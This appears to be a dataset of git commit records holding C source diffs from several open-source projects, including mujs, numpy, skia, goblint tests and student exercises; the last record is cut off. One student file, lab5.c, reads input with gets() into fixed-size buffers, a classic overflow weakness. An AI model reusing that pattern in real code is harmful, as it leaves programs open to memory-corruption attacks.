{"commit":"429d7cdce99df7b26eb6f15b819be98074f48695","old_file":"main.c","new_file":"main.c","old_contents":"#include \"js.h\"\n\nint\nmain(int argc, char **argv)\n{\n\tjs_State *J;\n\tint i;\n\n\tJ = js_newstate();\n\n\tfor (i = 1; i < argc; i++) {\n\t\tjs_loadfile(J, argv[1]);\n\t\t\/\/ js_run(J);\n\t}\n\n\tjs_close(J);\n\n\treturn 0;\n}\n","new_contents":"#include \"js.h\"\n\nint\nmain(int argc, char **argv)\n{\n\tjs_State *J;\n\tint i;\n\n\tJ = js_newstate();\n\n\tfor (i = 1; i < argc; i++) {\n\t\tjs_loadfile(J, argv[i]);\n\t\t\/\/ js_run(J);\n\t}\n\n\tjs_close(J);\n\n\treturn 0;\n}\n","subject":"Fix typo so all arguments are loaded.","message":"Fix typo so all arguments are loaded.\n","lang":"C","license":"isc","repos":"BOGY\/mujs,lsm\/mujs,earthling42\/mujs,ccxvii\/mujs,ccxvii\/mujs,guiquanz\/mujs,Frky\/mujs,ccxvii\/mujs,ccxvii\/mujs,thurday\/mujs,evanlabs\/mujs"}
{"commit":"b22f977bc4b4a8186bf236147b10982ccbbd2ad8","old_file":"LinkList_reverse_recursive.c","new_file":"LinkList_reverse_recursive.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\/* Linked List Implementation in C *\/\n\/\/ This program aims at \"Revering the Link List\"\n\ntypedef struct node{\n\tint data;\n\tstruct node *link;\t\n} node;\n\nnode* head; \/\/global variable\n\nvoid insert_append(int x){\nnode* temp;\ntemp = (node*)malloc(sizeof(node));\n\ntemp->data = x;\ntemp->link=NULL;\n\n\nif(head!=NULL){\n\tnode* temp_travel;\n\ttemp_travel =head;\n\twhile(temp_travel->link != NULL){\n\t\ttemp_travel = temp_travel->link;\n\t}\n\ttemp_travel->link = temp;\n\n\treturn;\n}\nhead =temp;\nreturn;\n\n}\n\nvoid reverse(node *current){\nif(current->link == NULL){\n\thead = current;\n\treturn;\n}\nreverse(current->link);\nnode* temp;\n\ntemp = current->link;\ntemp->link= current;\ncurrent->link=NULL;\nreturn;\n}\n\/\/This is recursive print\n\nvoid print(node* p){\n\tif (p == NULL) {\n\t\treturn;\n\t}\n\n\tprintf(\" %d\",p->data);\n\tprint(p->link);\n\t\n\treturn;\n}\n\nint main(){\n\thead = NULL; \/\/empty list\n\n\tinsert_append(1); \/\/list is: 1\n\tinsert_append(2); \/\/list is: 1 2\n\tinsert_append(3); \/\/list is: 1 2 3\n\tinsert_append(4); \/\/list is: 1 2 3 4\n\tinsert_append(5); \/\/list is: 1 2 3 4 5\n\n\tprintf(\"list is:\");\n\tprint(head);\n\tprintf(\"\\n\");\n\n\treverse(head); \/\/list is : 5 4 3 2 1\n\tprintf(\"Reverse list is:\");\n\tprint(head);\n\tprintf(\"\\n\");\n\treturn 0;\n}","subject":"Add LinkList reverese using recursion and print using recursion","message":"Add LinkList reverese using recursion and print using recursion\n","lang":"C","license":"mit","repos":"anaghajoshi\/C_DataStructures_Algorithms"}
{"commit":"403d61d1448eb8ee6a2ddc81865d9ebaf1ef73df","old_file":"numpy\/core\/src\/private\/npy_import.h","new_file":"numpy\/core\/src\/private\/npy_import.h","old_contents":"","new_contents":"#ifndef NPY_IMPORT_H\n#define NPY_IMPORT_H\n\n#include <Python.h>\n#include <assert.h>\n\n\/*! \\brief Fetch and cache Python function.\n *\n * Import a Python function and cache it for use. The function checks if\n * cache is NULL, and if not NULL imports the Python function specified by\n * \\a module and \\a function, increments its reference count, and stores\n * the result in \\a cache. Usually \\a cache will be a static variable and\n * should be initialized to NULL. On error \\a cache will contain NULL on\n * exit,\n *\n * @param module Absolute module name.\n * @param function Function name.\n * @param cache Storage location for imported function.\n *\/\nNPY_INLINE void\nnpy_cache_pyfunc(const char *module, const char *function, PyObject **cache)\n{\n    if (*cache == NULL) {\n        PyObject *mod = PyImport_ImportModule(module);\n\n        if (mod != NULL) {\n            *cache = PyObject_GetAttrString(mod, function);\n            Py_DECREF(mod);\n        }\n    }\n}\n\n#endif\n","subject":"Add inline C function to import and cache Python functions.","message":"ENH: Add inline C function to import and cache Python functions.\n\nA new inline function 'npy_cache_pyfunc' is provided for the common\noperation of inporting and caching a Python function in static\nvariables. The intended usage is as follows.\n\nint myfunc()\n{\n    static PyObject *cache = NULL:\n\n    npy_cache_pyfunc(\"the.module.name\", \"function\", &cache);\n    ...\n}\n\nErrors are not recoverable, so checked with assert for debugging.\n","lang":"C","license":"bsd-3-clause","repos":"behzadnouri\/numpy,BMJHayward\/numpy,jonathanunderwood\/numpy,bmorris3\/numpy,tacaswell\/numpy,behzadnouri\/numpy,dwillmer\/numpy,numpy\/numpy,abalkin\/numpy,gmcastil\/numpy,mingwpy\/numpy,pdebuyl\/numpy,ahaldane\/numpy,nbeaver\/numpy,Linkid\/numpy,WarrenWeckesser\/numpy,BabeNovelty\/numpy,mattip\/numpy,bertrand-l\/numpy,drasmuss\/numpy,ekalosak\/numpy,ESSS\/numpy,WarrenWeckesser\/numpy,musically-ut\/numpy,mhvk\/numpy,b-carter\/numpy,dimasad\/numpy,Srisai85\/numpy,dimasad\/numpy,ChanderG\/numpy,dwillmer\/numpy,pyparallel\/numpy,rhythmsosad\/numpy,ChristopherHogan\/numpy,endolith\/numpy,CMartelLML\/numpy,sonnyhu\/numpy,Yusa95\/numpy,musically-ut\/numpy,ddasilva\/numpy,rudimeier\/numpy,ekalosak\/numpy,sinhrks\/numpy,GrimDerp\/numpy,seberg\/numpy,felipebetancur\/numpy,mathdd\/numpy,ContinuumIO\/numpy,KaelChen\/numpy,abalkin\/numpy,has2k1\/numpy,rudimeier\/numpy,pizzathief\/numpy,endolith\/numpy,MichaelAquilina\/numpy,joferkington\/numpy,anntzer\/numpy,SiccarPoint\/numpy,grlee77\/numpy,ssanderson\/numpy,Dapid\/numpy,Yusa95\/numpy,nguyentu1602\/numpy,chiffa\/numpy,ContinuumIO\/numpy,grlee77\/numpy,argriffing\/numpy,chiffa\/numpy,nbeaver\/numpy,jakirkham\/numpy,madphysicist\/numpy,tynn\/numpy,tacaswell\/numpy,BMJHayward\/numpy,b-carter\/numpy,githubmlai\/numpy,mingwpy\/numpy,pbrod\/numpy,jankoslavic\/numpy,madphysicist\/numpy,sinhrks\/numpy,mathdd\/numpy,empeeu\/numpy,mathdd\/numpy,shoyer\/numpy,mwiebe\/numpy,ddasilva\/numpy,skwbc\/numpy,mattip\/numpy,jorisvandenbossche\/numpy,leifdenby\/numpy,drasmuss\/numpy,anntzer\/numpy,madphysicist\/numpy,rhythmsosad\/numpy,charris\/numpy,AustereCuriosity\/numpy,pbrod\/numpy,ahaldane\/numpy,jschueller\/numpy,joferkington\/numpy,Yusa95\/numpy,solarjoe\/numpy,solarjoe\/numpy,jschueller\/numpy,MSeifert04\/numpy,dimasad\/numpy,abalkin\/numpy,jorisvandenbossche\/numpy,githubmlai\/numpy,simongibbons\/numpy,KaelChen\/numpy,MaPePeR\/numpy,madphysicist\/numpy,SunghanKim\/numpy,cjermain\/numpy,cjermain\/numpy,SunghanKim\/numpy,gmcastil\/numpy,felipebetancur\/numpy,jorisvandenbossche\/numpy,GaZ3ll3\/numpy,ssanderson\/numpy,MaPePeR\/numpy,njase\/numpy,jankoslavic\/numpy,kiwifb\/numpy,githubmlai\/numpy,Srisai85\/numpy,jschueller\/numpy,ahaldane\/numpy,hainm\/numpy,Anwesh43\/numpy,sinhrks\/numpy,shoyer\/numpy,leifdenby\/numpy,has2k1\/numpy,rudimeier\/numpy,dwillmer\/numpy,groutr\/numpy,WillieMaddox\/numpy,mhvk\/numpy,Anwesh43\/numpy,Yusa95\/numpy,drasmuss\/numpy,solarjoe\/numpy,rherault-insa\/numpy,skwbc\/numpy,mwiebe\/numpy,anntzer\/numpy,seberg\/numpy,behzadnouri\/numpy,ESSS\/numpy,musically-ut\/numpy,grlee77\/numpy,mathdd\/numpy,empeeu\/numpy,kiwifb\/numpy,jakirkham\/numpy,pbrod\/numpy,Eric89GXL\/numpy,shoyer\/numpy,ddasilva\/numpy,ChanderG\/numpy,SiccarPoint\/numpy,ViralLeadership\/numpy,trankmichael\/numpy,charris\/numpy,dwillmer\/numpy,trankmichael\/numpy,WarrenWeckesser\/numpy,AustereCuriosity\/numpy,rgommers\/numpy,MSeifert04\/numpy,pbrod\/numpy,hainm\/numpy,gfyoung\/numpy,ESSS\/numpy,rajathkumarmp\/numpy,pizzathief\/numpy,simongibbons\/numpy,gfyoung\/numpy,mattip\/numpy,empeeu\/numpy,WillieMaddox\/numpy,SunghanKim\/numpy,pizzathief\/numpy,argriffing\/numpy,tynn\/numpy,endolith\/numpy,BabeNovelty\/numpy,bringingheavendown\/numpy,endolith\/numpy,rgommers\/numpy,musically-ut\/numpy,jonathanunderwood\/numpy,jankoslavic\/numpy,gfyoung\/numpy,has2k1\/numpy,skymanaditya1\/numpy,pizzathief\/numpy,Dapid\/numpy,GaZ3ll3\/numpy,jorisvandenbossche\/numpy,joferkington\/numpy,MichaelAquilina\/numpy,kirillzhuravlev\/numpy,rajathkumarmp\/numpy,utke1\/numpy,mhvk\/numpy,charris\/numpy,numpy\/numpy,chatcannon\/numpy,MSeifert04\/numpy,ViralLeadership\/numpy,kirillzhuravlev\/numpy,cjermain\/numpy,bmorris3\/numpy,ChanderG\/numpy,numpy\/numpy,kiwifb\/numpy,MaPePeR\/numpy,Dapid\/numpy,bertrand-l\/numpy,cjermain\/numpy,seberg\/numpy,mhvk\/numpy,nbeaver\/numpy,chiffa\/numpy,grlee77\/numpy,bertrand-l\/numpy,jonathanunderwood\/numpy,mingwpy\/numpy,stuarteberg\/numpy,ContinuumIO\/numpy,has2k1\/numpy,BabeNovelty\/numpy,grlee77\/numpy,ekalosak\/numpy,SiccarPoint\/numpy,utke1\/numpy,maniteja123\/numpy,groutr\/numpy,anntzer\/numpy,Eric89GXL\/numpy,felipebetancur\/numpy,kirillzhuravlev\/numpy,skymanaditya1\/numpy,BMJHayward\/numpy,groutr\/numpy,stuarteberg\/numpy,numpy\/numpy,jankoslavic\/numpy,ssanderson\/numpy,joferkington\/numpy,pbrod\/numpy,MichaelAquilina\/numpy,MSeifert04\/numpy,shoyer\/numpy,Anwesh43\/numpy,bringingheavendown\/numpy,sinhrks\/numpy,njase\/numpy,sonnyhu\/numpy,hainm\/numpy,madphysicist\/numpy,rgommers\/numpy,Eric89GXL\/numpy,GaZ3ll3\/numpy,seberg\/numpy,mattip\/numpy,WillieMaddox\/numpy,simongibbons\/numpy,BabeNovelty\/numpy,rajathkumarmp\/numpy,MSeifert04\/numpy,bmorris3\/numpy,pdebuyl\/numpy,utke1\/numpy,moreati\/numpy,tacaswell\/numpy,GrimDerp\/numpy,AustereCuriosity\/numpy,rhythmsosad\/numpy,simongibbons\/numpy,GrimDerp\/numpy,ChristopherHogan\/numpy,kirillzhuravlev\/numpy,maniteja123\/numpy,maniteja123\/numpy,Srisai85\/numpy,argriffing\/numpy,jakirkham\/numpy,ekalosak\/numpy,rgommers\/numpy,SunghanKim\/numpy,pdebuyl\/numpy,skymanaditya1\/numpy,MaPePeR\/numpy,githubmlai\/numpy,hainm\/numpy,mhvk\/numpy,ChristopherHogan\/numpy,rherault-insa\/numpy,jschueller\/numpy,b-carter\/numpy,moreati\/numpy,nguyentu1602\/numpy,shoyer\/numpy,chatcannon\/numpy,sonnyhu\/numpy,rherault-insa\/numpy,jorisvandenbossche\/numpy,WarrenWeckesser\/numpy,pyparallel\/numpy,njase\/numpy,GrimDerp\/numpy,moreati\/numpy,jakirkham\/numpy,chatcannon\/numpy,WarrenWeckesser\/numpy,stuarteberg\/numpy,pdebuyl\/numpy,ahaldane\/numpy,CMartelLML\/numpy,GaZ3ll3\/numpy,KaelChen\/numpy,Linkid\/numpy,sonnyhu\/numpy,ViralLeadership\/numpy,bmorris3\/numpy,pyparallel\/numpy,CMartelLML\/numpy,BMJHayward\/numpy,stuarteberg\/numpy,Srisai85\/numpy,dimasad\/numpy,leifdenby\/numpy,rudimeier\/numpy,bringingheavendown\/numpy,KaelChen\/numpy,rajathkumarmp\/numpy,rhythmsosad\/numpy,nguyentu1602\/numpy,CMartelLML\/numpy,felipebetancur\/numpy,Linkid\/numpy,simongibbons\/numpy,tynn\/numpy,nguyentu1602\/numpy,MichaelAquilina\/numpy,ahaldane\/numpy,mwiebe\/numpy,gmcastil\/numpy,ChanderG\/numpy,trankmichael\/numpy,SiccarPoint\/numpy,charris\/numpy,Linkid\/numpy,Eric89GXL\/numpy,skymanaditya1\/numpy,mingwpy\/numpy,skwbc\/numpy,empeeu\/numpy,ChristopherHogan\/numpy,jakirkham\/numpy,Anwesh43\/numpy,trankmichael\/numpy,pizzathief\/numpy"}
{"commit":"6db7f401f8f04398f711bd042394504174547d19","old_file":"tests\/regression\/02-base\/74-pcwd-deref-unknown-fp.c","new_file":"tests\/regression\/02-base\/74-pcwd-deref-unknown-fp.c","old_contents":"","new_contents":"\/\/ PARAM: --disable sem.unknown_function.invalidate.globals --disable sem.unknown_function.spawn\n\/\/ extracted from ddverify pcwd\n\n\/\/ header declarations\n\nstruct file_operations {\n  void (*ioctl)();\n};\n\nstruct miscdevice {\n  struct file_operations *fops;\n};\n\nstruct cdev {\n  struct file_operations *ops;\n};\n\n\/\/ implementation stub\n\nstruct ddv_cdev {\n  struct cdev *cdevp;\n};\n\n#define MAX_CDEV_SUPPORT 1\n\nstruct cdev fixed_cdev[MAX_CDEV_SUPPORT];\nstruct ddv_cdev cdev_registered[MAX_CDEV_SUPPORT];\n\nint cdev_add(struct cdev *p)\n{\n  cdev_registered[0].cdevp = p;\n  return 0;\n}\n\nint misc_register(struct miscdevice *misc) {\n  fixed_cdev[0].ops = misc->fops;\n  return cdev_add(&fixed_cdev[0]);\n}\n\nvoid call_cdev_functions()\n{\n  int cdev_no = 0;\n  if (cdev_registered[cdev_no].cdevp->ops->ioctl) {\n    (* cdev_registered[cdev_no].cdevp->ops->ioctl)();\n  }\n}\n\n\/\/ concrete program\n\nvoid pcwd_ioctl() {\n  assert(1); \/\/ reachable\n}\n\nstatic const struct file_operations pcwd_fops = {\n  .ioctl = pcwd_ioctl\n};\n\nstatic struct miscdevice pcwd_miscdev = {\n  .fops = &pcwd_fops\n};\n\nint main() {\n  misc_register(&pcwd_miscdev);\n\n  void (*fp)(struct ddv_cdev*); \/\/ unknown function pointer\n  fp(&cdev_registered); \/\/ invalidates argument!\n\n  call_cdev_functions();\n  return 0;\n}\n","subject":"Add unsound dereferencing of unknown function pointer from ddverify pcwd","message":"Add unsound dereferencing of unknown function pointer from ddverify pcwd\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"0db1fc1c5d71d4952975293647f087c22a265628","old_file":"ghighlighter\/main.c","new_file":"ghighlighter\/main.c","old_contents":"#include <gtk\/gtk.h>\n#include \"main-window.h\"\n\nint\nmain (int argc, char *argv[])\n{\n  GtkWidget *window;\n\n  gtk_init(&argc, &argv);\n\n  window = main_window_create();\n  gtk_widget_show(window);\n\n  gtk_main();\n\n  return 0;\n}\n","new_contents":"#include <gtk\/gtk.h>\n#include \"main-window.h\"\n\nint\nmain (int argc, char *argv[])\n{\n  GtkWidget *window;\n\n  gtk_init(&argc, &argv);\n\n  window = main_window_create();\n  gtk_widget_show_all(window);\n\n  gtk_main();\n\n  return 0;\n}\n","subject":"Use gtk_widget_show_all instead of just show","message":"Use gtk_widget_show_all instead of just show\n","lang":"C","license":"mit","repos":"chdorner\/ghighlighter-c"}
{"commit":"e8fb39c9a7aaa172a528142fb5b24aa03e224083","old_file":"inc\/ArgParse\/ArgParse.h","new_file":"inc\/ArgParse\/ArgParse.h","old_contents":"\/*\nArgParser - C++ Argument Parser reflecting the python module ArgParse.\nCopyright (C) 2014-2015  Matthew Scott Krafczyk\n\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nWITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#ifndef ARGPARSE_ArgParse_HDR\n#define ARGPARSE_ArgParse_HDR\n\n#include \"ArgParse\/Message.h\"\n#include \"ArgParse\/Option.h\"\n#include \"ArgParse\/ArgParser.h\"\n\n#endif\n","new_contents":"\/*\nArgParser - C++ Argument Parser reflecting the python module ArgParse.\nCopyright (C) 2014-2015  Matthew Scott Krafczyk\n\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nWITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#ifndef ARGPARSE_ArgParse_HDR\n#define ARGPARSE_ArgParse_HDR\n\n#include \"ArgParse\/Message.h\"\n#include \"ArgParse\/Argument.h\"\n#include \"ArgParse\/ArgParser.h\"\n\n#endif\n","subject":"Change an old Option.h to Argument.h","message":"Change an old Option.h to Argument.h\n","lang":"C","license":"mit","repos":"krafczyk\/ArgParse,krafczyk\/ArgParse"}
{"commit":"de630eb49412f0ef25cb5a010efd6922a5c4d28b","old_file":"common.h","new_file":"common.h","old_contents":"#ifndef MLCD_COMMON_H\n#define MLCD_COMMON_H\n\n#define BYTE_TO_ASCII(byte)  \\\n\t(byte & 0x80 ? '#' : ' '), \\\n\t(byte & 0x40 ? '#' : ' '), \\\n\t(byte & 0x20 ? '#' : ' '), \\\n\t(byte & 0x10 ? '#' : ' '), \\\n\t(byte & 0x08 ? '#' : ' '), \\\n\t(byte & 0x04 ? '#' : ' '), \\\n\t(byte & 0x02 ? '#' : ' '), \\\n\t(byte & 0x01 ? '#' : ' ')\n\n#define MLCD_WIDTH 48\n#define MLCD_HEIGHT 32\n#define MLCD_BYTES ((MLCD_WIDTH * MLCD_HEIGHT) \/ 8)\n\n#endif \/* MLCD_COMMON_H *\/\n","new_contents":"#ifndef MLCD_COMMON_H\n#define MLCD_COMMON_H\n\n#define BYTE_TO_ASCII(byte)  \\\n\t(byte & 0x80 ? '1' : '0'), \\\n\t(byte & 0x40 ? '1' : '0'), \\\n\t(byte & 0x20 ? '1' : '0'), \\\n\t(byte & 0x10 ? '1' : '0'), \\\n\t(byte & 0x08 ? '1' : '0'), \\\n\t(byte & 0x04 ? '1' : '0'), \\\n\t(byte & 0x02 ? '1' : '0'), \\\n\t(byte & 0x01 ? '1' : '0')\n\n#define MLCD_WIDTH 48\n#define MLCD_HEIGHT 32\n#define MLCD_BYTES ((MLCD_WIDTH * MLCD_HEIGHT) \/ 8)\n\n#endif \/* MLCD_COMMON_H *\/\n","subject":"Fix asm generation with mlcd -a","message":"Fix asm generation with mlcd -a\n","lang":"C","license":"bsd-2-clause","repos":"travispaul\/mlcd"}
{"commit":"45d03888d28f1126c051ec5a870dcb9829ad8d27","old_file":"ObjCBridge.h","new_file":"ObjCBridge.h","old_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n#import \"Konashi.h\"\n#import \"Colorkit.h\"\n#import <EstimoteSDK\/EstimoteSDK.h>\n#import \"ActionSheetPicker.h\"\n","new_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n#import <Konashi.h>\n#import <Colorkit.h>\n#import <EstimoteSDK\/EstimoteSDK.h>\n#import <ActionSheetPicker.h>\n","subject":"Use <> instead of \"\"","message":"Use <> instead of \"\"\n\n\"\"は、自作クラスの時に使用するらしい\n","lang":"C","license":"mit","repos":"karappo\/PlayTheWheels,karappo\/PlayTheWheels"}
{"commit":"8fd0d0b7089303d141b08913bcf6a1f92469f754","old_file":"include\/effects\/SkStippleMaskFilter.h","new_file":"include\/effects\/SkStippleMaskFilter.h","old_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkStippleMaskFilter_DEFINED\n#define SkStippleMaskFilter_DEFINED\n\n#include \"SkMaskFilter.h\"\n\n\/**\n * Simple MaskFilter that creates a screen door stipple pattern\n *\/\nclass SkStippleMaskFilter : public SkMaskFilter {\npublic:\n    SkStippleMaskFilter() : INHERITED() {\r\n    }\r\n\r\n    virtual bool filterMask(SkMask* dst, const SkMask& src,\n                            const SkMatrix& matrix,\n                            SkIPoint* margin) SK_OVERRIDE;\n\n    \/\/ getFormat is from SkMaskFilter\n    virtual SkMask::Format getFormat() SK_OVERRIDE {\n        return SkMask::kA8_Format;\n    }\n\n    SK_DECLARE_PUBLIC_FLATTENABLE_DESERIALIZATION_PROCS(SkStippleMaskFilter);\n\nprotected:\n    SkStippleMaskFilter::SkStippleMaskFilter(SkFlattenableReadBuffer& buffer)\r\n    : SkMaskFilter(buffer) {\r\n    }\n\nprivate:\n    typedef SkMaskFilter INHERITED;\n};\n\n#endif \/\/ SkStippleMaskFilter_DEFINED","new_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkStippleMaskFilter_DEFINED\n#define SkStippleMaskFilter_DEFINED\n\n#include \"SkMaskFilter.h\"\n\n\/**\n * Simple MaskFilter that creates a screen door stipple pattern\n *\/\nclass SkStippleMaskFilter : public SkMaskFilter {\npublic:\n    SkStippleMaskFilter() : INHERITED() {\n    }\n\n    virtual bool filterMask(SkMask* dst, const SkMask& src,\n                            const SkMatrix& matrix,\n                            SkIPoint* margin) SK_OVERRIDE;\n\n    \/\/ getFormat is from SkMaskFilter\n    virtual SkMask::Format getFormat() SK_OVERRIDE {\n        return SkMask::kA8_Format;\n    }\n\n    SK_DECLARE_PUBLIC_FLATTENABLE_DESERIALIZATION_PROCS(SkStippleMaskFilter);\n\nprotected:\n    SkStippleMaskFilter(SkFlattenableReadBuffer& buffer)\n    : SkMaskFilter(buffer) {\n    }\n\nprivate:\n    typedef SkMaskFilter INHERITED;\n};\n\n#endif \/\/ SkStippleMaskFilter_DEFINED\n","subject":"Fix for compiler error in r4154","message":"Fix for compiler error in r4154\n\n\n\ngit-svn-id: e8541e15acce502a64c929015570ad1648e548cd@4155 2bbb7eff-a529-9590-31e7-b0007b416f81\n","lang":"C","license":"bsd-3-clause","repos":"Frankie-666\/color-emoji.skia,Hankuo\/color-emoji.skia,MatChung\/color-emoji.skia,hbwhlklive\/color-emoji.skia,Hankuo\/color-emoji.skia,Frankie-666\/color-emoji.skia,hbwhlklive\/color-emoji.skia,Hankuo\/color-emoji.skia,Hankuo\/color-emoji.skia,hbwhlklive\/color-emoji.skia,MatChung\/color-emoji.skia,Hankuo\/color-emoji.skia,Frankie-666\/color-emoji.skia,MatChung\/color-emoji.skia,MatChung\/color-emoji.skia,Hankuo\/color-emoji.skia,Frankie-666\/color-emoji.skia,Frankie-666\/color-emoji.skia,hbwhlklive\/color-emoji.skia,hbwhlklive\/color-emoji.skia,MatChung\/color-emoji.skia,Frankie-666\/color-emoji.skia,hbwhlklive\/color-emoji.skia,MatChung\/color-emoji.skia"}
{"commit":"c0346b75f26d982b0d8bf5c062b7a728025100a8","old_file":"include\/truth\/cpu.h","new_file":"include\/truth\/cpu.h","old_contents":"#pragma once\n\n#include <truth\/types.h>\n\n\/\/ The state of the CPU before an interrupt occurs.\nstruct cpu_state;\n\n\/\/ Interrupt Service Routine function signature.\n\/\/ ISRs with this signature are installed to a dispatch table.\ntypedef void (isr_f)(struct cpu_state *);\n\n\/* Install an interrupt handler.\n * The handler will have the interrupt number @num, and when triggered it will\n * execute @function. If @privileged is set to false, the interrupt will be\n * able to be raised by ring 3 code. If false, it will only be able to be\n * raised by ring 0 code. @return 0 if the interrupt is successfully installed\n * and -1 if that interrupt number has already been registered.\n *\/\nint install_interrupt(uint8_t num, isr_f function);\n\n\/\/ Sets up CPU interrupt tables and initializes interrupts\nvoid interrupts_init(void);\n\n\/\/ Disable interrupts\nextern void disable_interrupts(void);\n\n\/\/ Enable interrupts\nextern void enable_interrupts(void);\n\n\/\/ Halt CPU\nextern void halt(void);\n\n\/\/ Gets the CPU time step counter value\nextern uint64_t cpu_time(void);\n","new_contents":"#pragma once\n\n#include <truth\/types.h>\n\n\n\/\/ Halt CPU.\nextern void halt(void);\n\n\/\/ Gets the CPU time step counter value.\nextern uint64_t cpu_time(void);\n\n\/\/ Puts CPU into sleep state until awoken by interrupt.\nvoid cpu_sleep_state(void);\n","subject":"Remove stuff moved to interrupts header","message":"Remove stuff moved to interrupts header\n","lang":"C","license":"mit","repos":"iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth"}
{"commit":"53b42b54aa7cac4b9b5dc47bb86308f5bec07a0b","old_file":"lab5.c","new_file":"lab5.c","old_contents":"","new_contents":"\/* lab5.c: Employee records *\/\n#include <stdio.h>\n#include <string.h>\n\nstruct Employee {\n    char last[16];\n    char first[11];\n    char title[16];\n    int salary;\n};\n\nint main() {\n    struct Employee employees[BUFSIZ];\n    for (int i = 0; i < BUFSIZ; i++) {\n        printf(\"Enter the last name: \");\n        fflush(stdout); \/* To keep cursor on same line as prompt *\/\n        gets(employees[i].last);\n        if (strlen(employees[i].last) > 0) {\n            printf(\"Enter the first name: \");\n            fflush(stdout);\n            gets(employees[i].first);\n            printf(\"Enter the job title: \");\n            fflush(stdout);\n            gets(employees[i].title);\n            printf(\"Enter the salary: \");\n            fflush(stdout);\n            scanf(\"%d\", &employees[i].salary);\n            getchar(); \/* eat newline *\/\n        } else {\n            for (int j = 0; j < i; j++) {\n                printf(\"%s %s, %s (%d)\\n\", employees[j].first, employees[j].last, employees[j].title, employees[j].salary);\n            }\n            break;\n        }\n    } \n}","subject":"Store employee information in an array of structs","message":"Store employee information in an array of structs\n","lang":"C","license":"mit","repos":"sookoor\/Learn-C-the-Hard-Way,sookoor\/Learn-C-the-Hard-Way,sookoor\/Learn-C-the-Hard-Way"}
{"commit":"94cdb6e58f3407127089a412824180475bceb4e7","old_file":"src\/distributed.c","new_file":"src\/distributed.c","old_contents":"#include <fcntl.h>\n#include <stdio.h>\n#include <string.h>\n#include <sys\/mman.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <unistd.h>\n\n#include \"distributed.h\"\n#include \"stddefines.h\"\n\nvoid shm_init() {\n\tint fd;\n\n\t\/* Map the shmem region *\/\n\tfd = open(SHM_DEV, O_RDWR);\n\tCHECK_ERROR(fd < 0);\n\tshm_base = mmap(SHM_LOC, SHM_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 1*getpagesize());\n\tCHECK_ERROR(shm_base == MAP_FAILED);\n}\n","new_contents":"#include <fcntl.h>\n#include <stdio.h>\n#include <string.h>\n#include <sys\/mman.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <unistd.h>\n\n#include \"distributed.h\"\n#include \"stddefines.h\"\n\nvoid shm_init() {\n\tint fd;\n\n\t\/* Map the shmem region *\/\n\tfd = open(SHM_DEV, O_RDWR);\n\tCHECK_ERROR(fd < 0);\n\tshm_base = mmap(SHM_LOC, SHM_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 1*getpagesize());\n\tCHECK_ERROR(shm_base != SHM_LOC);\n}\n","subject":"Check that the mmap goes in the right place.","message":"Check that the mmap goes in the right place.\n","lang":"C","license":"bsd-3-clause","repos":"adamwg\/elastic-phoenix,adamwg\/elastic-phoenix,adamwg\/elastic-phoenix"}
{"commit":"cc5d35670b3192f6f6741f569016c1167549fc9a","old_file":"ring_distance.c","new_file":"ring_distance.c","old_contents":"","new_contents":"\/* Author: Matjaž <dev@matjaz.it> matjaz.it\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include <stdio.h>   \/* Allows usage of printf() *\/\n#include <stdbool.h> \/* Allows usage of booleans *\/\n#include <stdlib.h>  \/* Allows usage of abs() *\/\n\nstruct oriented_arc_struct {\n    int lenght;\n    bool clockwise;\n};\n\ntypedef struct oriented_arc_struct oriented_arc;\nint circumference = 12;\nint start_point;\nint end_point;\noriented_arc arc;\nchar hrule[50] = \"\\t+-------+-----+----------+------------------+\\n\";\nchar header[50] = \"\\t| Start | End | Distance |     Direction    |\\n\";\nchar ring[100] = \"\\\n\\t\\t      12\\n\\\n\\t\\t    11   1\\n\\\n\\t\\t  10  \\\\    2\\n\\\n\\t\\t 9     o---  3\\n\\\n\\t\\t   8       4\\n\\\n\\t\\t     7   5\\n\\\n\\t\\t       6\\n\";\n\noriented_arc min_ring_distance(int circumference, int start_point, int end_point) {\n    int distance_1 = end_point - start_point;\n    oriented_arc arc_1 = {abs(distance_1), (distance_1 >= 0) ? true : false};\n    oriented_arc arc_2 = {circumference - arc_1.lenght, !arc_1.clockwise};\n    if (arc_1.lenght <= arc_2.lenght) {\n        return arc_1;\n    } else {\n        return arc_2;\n    }\n}\n\nint main() {\n    printf(\"%s\", ring);\n    printf(\"%s\", hrule);\n    printf(\"%s\", header);\n    printf(\"%s\", hrule);\n    for (start_point = 1; start_point 